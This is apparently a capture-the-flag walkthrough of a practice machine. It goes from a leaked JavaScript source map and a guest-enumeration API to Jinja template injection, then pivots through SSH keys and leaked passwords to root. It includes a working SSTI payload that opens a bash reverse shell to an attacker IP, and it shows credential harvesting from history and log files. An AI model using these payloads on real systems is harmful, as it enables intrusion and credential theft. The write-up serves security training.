Overview

The machine starts by leaking a javascript source map that reveals an api endpoint to enumerate guest credentials, logging in as johnson to exploit ssti via a reflected display name to get shell as www-data to find a private ssh key and pivot to george via an alternate ssh service. Recovering david's password from bash_history moves to david and reading a provisioning log via adm group membership leaks root's password to get shell as root.

Enumeration

We start with nmap scan as usual.

We find 3 open ports:

  • SSH on port 22.
  • HTTP on port 80.
  • Another SSH on port 2222.

Resort Network

We start by enumerating the website and it isn't really fancy, just a login page that requires a room number and guest's name.

I started by trying random stuff like 1 and admin, but it needs the room number to be more than or equal to 101. So I tried 101 and admin or something, and we got this element telling us that the authentication failed. Now this element is a dynamic component, so I started looking at which part of the source code is returning it and how.

Looking at the source code, we find that there is a JS file at app.min.js which is a minified JavaScript file (JS file but hard for humans to read because it removes spaces and comments to load faster).

So I fetched that file, and as you can see, it has this line for a mapping file app.min.js.map. The idea of the .js.map files is that they act as a translator between the minified code and the original source code. Why? Because after minifying the original source code, the lines get shrunk, so if the minified line returns an error on line 1, the DevTool doesn't know where that line is in the original file, so we use the map files to tell which line corresponds to the original line.

Here is the exact response:

bash
function initPortal(){console.log("Hack Smarter World WiFi Gateway Active");}document.addEventListener("DOMContentLoaded",initPortal);
//# sourceMappingURL=app.min.js.map

So fetching that file leaks some good information for us.

Here is the exact file. The mapping files have 2 important keys: First is the sources, which is the original filename before minification, which in this case is roomVerification.js, but we don't have access to that file, and second is the sourcesContent, which is the actual unminified source code itself embedded directly inside the map file.

As you can see, we have an API URL leaked in the fetch call:

json
{ 
    "version": 3, 
    "file": "app.min.js", 
    "sources": ["src/api/roomVerification.js"], 
    "sourcesContent": [ 
        "// Front-Desk Kiosk API verification helper\nasync function checkRoomStatus(roomNum) {\n const res = await fetch('/api/v1/rooms/status?status=occupied');\n return await res.json();\n}"
  ]
}

Login as Johnson

So I called that API with the exact URL within the fetch, and we get a list of all users in the site leaking their guest name and room number, which is enough for us to log in. I will go with 107 Johnson just in case the site hands different permissions. The Executive suite should have the highest.

And as you can see, we're logged in as Johnson.

Shell as www-data

At this point, I didn't find anything other than an edit profile page, so I started a fuzzer in the background while working with this.

First thing I noticed is that the Display Name is reflected within the page, so there are some vectors we can consider here, and I decided which one I will start with based on the tech stack the website is using.

Running whatweb, I see that the website is running Python with Werkzeug WSGI for the backend, which will make me consider the SSTI as the first vector because working with templates in Flask can be tricky if you don't know what you are doing.

bash
┌─[]─[10.200.89.49]─[jimmex@attacker]─[~/HSM/casino]
└──╼ [★]$ whatweb http://10.1.67.172
http://10.1.67.172 [302 Found] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.1.8 Python/3.10.18], IP[10.1.67.172], Python[3.10.18], RedirectLocation[/login], Title[Re
directing...], Werkzeug[3.1.8]
http://10.1.67.172/login [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.1.8 Python/3.10.18], IP[10.1.67.172], Python[3.10.18], Script, Title[Hack S
marter World - Guest WiFi & Portal], Werkzeug[3.1.8]

The way I knew it is Flask, we could use Wappalyzer or just notice the 404 default page here.

Looking in 0xDF's default 404 pages cheatsheet, we'll see it is an exact match for Flask.

We'll start by validating the SSTI itself, and when we use the template evaluating expression {{}} in Jinja, which is the templating engine used mostly with Flask, we'll see that the 7*7 was reflected after evaluation within the page, which means this is an SSTI.

So to get a shell, we'll use this expression to traverse the Python object chain. To understand this, the self refers to the current template context object and the __init__ is the class's initialization method to get us the global namespace dictionary and access the builtin functions like import, where we import os and use popen to execute the shell command (you don't have to memorize this, you can always look it up or note it down).

json
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.200.89.49/4444 0>&1" ').read() }}

So I started a listener and triggered the change, and as you can see, we got a shell back.

Moving around in the shell, I find that we have access to both users' home directories (george and david). David's home directory was empty, but george had the flag, as you can see:

bash
www-data@032aaaaa5f06:/home/george$ ls -la
total 32
drwxr-xr-x 3 george george 4096 Sep 1 19:13 .
drwxr-xr-x 1 root root 4096 Sep 1 19:13 ..
-rw-r--r-- 1 george george 786 Sep 1 19:13 .bash_history
-rw-r--r-- 1 george george 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 george george 3526 Mar 27 2022 .bashrc
-rw-r--r-- 1 george george 807 Mar 27 2022 .profile
drwxr-xr-x 2 george george 4096 Sep 1 19:13 .ssh
-rw-r--r-- 1 george george 39 Sep 1 19:13 user.txt
www-data@032aaaaa5f06:/home/george$ cat user.txt 
HSM{g30rg3_n33ds_<SNIP>}
www-data@032aaaaa5f06:/home/george$

Looking more in george's home directory, we find an SSH key, so let's try those for a better shell.

bash
www-data@032aaaaa5f06:/home/george/.ssh$ ls
authorized_keys id_rsa id_rsa.pub
www-data@032aaaaa5f06:/home/george/.ssh$

SSH as george

We copy the private key back to our machine:

Then we set its permissions so it doesn't get rejected because it is too open:

bash
┌─[]─[10.200.89.49]─[jimmex@attacker]─[~/HSM/casino]
└──╼ [★]$ chmod 600 id_rsa

Trying to connect, we get rejected for port 22:

bash
┌─[]─[10.200.89.49]─[jimmex@attacker]─[~/HSM/casino]
└──╼ [★]$ ssh -i id_rsa george@casino
The authenticity of host 'casino (10.1.121.147)' can't be established.
ED25519 key fingerprint is SHA256:eSc5iBJuQIR/6Te2gKqiHTqow0AR5JgdVn/jljR2Vyc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'casino' (ED25519) to the list of known hosts.
george@casino: Permission denied (publickey).

But the port 2222 accepts it and gets us in:

bash
┌─[]─[10.200.89.49]─[jimmex@attacker]─[~/HSM/casino]
└──╼ [★]$ ssh -i id_rsa george@casino -p 2222
Linux 032aaaaa5f06 7.0.0-1010-aws #10~24.04.1-Ubuntu SMP PREEMPT Mon Jul 27 17:41:33 UTC 2026 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep 1 19:29:36 2026 from 10.0.0.247
george@032aaaaa5f06:~$

One thing I noticed earlier is the size of the .bash_history file, which was quite large after only 2 commands, which should make it around 31 bytes or something maximum if our commands were too long, but it was like 800 or something. So I am sure that it has old commands saved in it (usually admins unset HISTFILE so nothing is written to disk), but this time they forgot about it.

Looking at the file, we'll see the user david's password leaked:

Shell as david

Using su david to switch user, we're david now, and checking the user's ID, we see that he is part of one more additional group, which is adm (maybe admin giving him extra permission):

yaml
george@032aaaaa5f06:~$ su david
Password: 
david@032aaaaa5f06:/home/george$ ls
user.txt
david@032aaaaa5f06:/home/george$ ls -la 
total 32
drwxr-xr-x 3 george george 4096 Sep  1 19:13 .
drwxr-xr-x 1 root   root   4096 Sep  1 19:13 ..
-rw-r--r-- 1 george george  786 Sep  1 19:13 .bash_history
-rw-r--r-- 1 george george  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 george george 3526 Mar 27  2022 .bashrc
-rw-r--r-- 1 george george  807 Mar 27  2022 .profile
drwxr-xr-x 2 george george 4096 Sep  1 19:13 .ssh
-rw-r--r-- 1 george george   39 Sep  1 19:13 user.txt
david@032aaaaa5f06:/home/george$ id 
uid=1001(david) gid=1001(david) groups=1001(david),4(adm)
david@032aaaaa5f06:/home/george$ 

Shell as root

Finding the files owned by that group, we see that there are only 2 log files. First is apt, which I don't think is interesting, but this provisioning might have something:

bash
david@032aaaaa5f06:/home/george$ find / -group adm 2>/dev/null
/var/log/apt/term.log
/var/log/provisioning.log
david@032aaaaa5f06:/home/george$

Looking into that file, we see that it leaks the root's password:

bash
david@032aaaaa5f06:/home/george$ cat /var/log/provisioning.log 
2026-08-01 03:14:02 [INFO] Starting automated cluster provisioning for Hack Smarter World host node...
2026-08-01 03:14:15 [INFO] Configuring network interfaces eth0 (VLAN 402)...
2026-08-01 03:14:22 [INFO] Initializing MariaDB production instance...
2026-08-01 03:14:28 [INFO] Seeding resort guest database tables...
2026-08-01 03:14:30 [SUCCESS] Applied security policy for root access.
2026-08-01 03:14:31 [DEBUG] Saved system root sync credential: R3s0rt_Sup3r_<SNIP>2026!
2026-08-01 03:14:35 [INFO] Generating SSH host key certificates...
2026-08-01 03:14:45 [INFO] Deployment completed successfully.
david@032aaaaa5f06:/home/george$

Logging in as root via su root to read the flag:

yaml
david@032aaaaa5f06:/home/george$ su root
Password: 
root@032aaaaa5f06:/home/george# cat /root/root.txt 
HSM{r3s0rt_w1f1_c0mpete_syst3m_pwn3d!}
root@032aaaaa5f06:/home/george# 

Path

That's what we did in this box Pasted image 20260902000204.png

Resources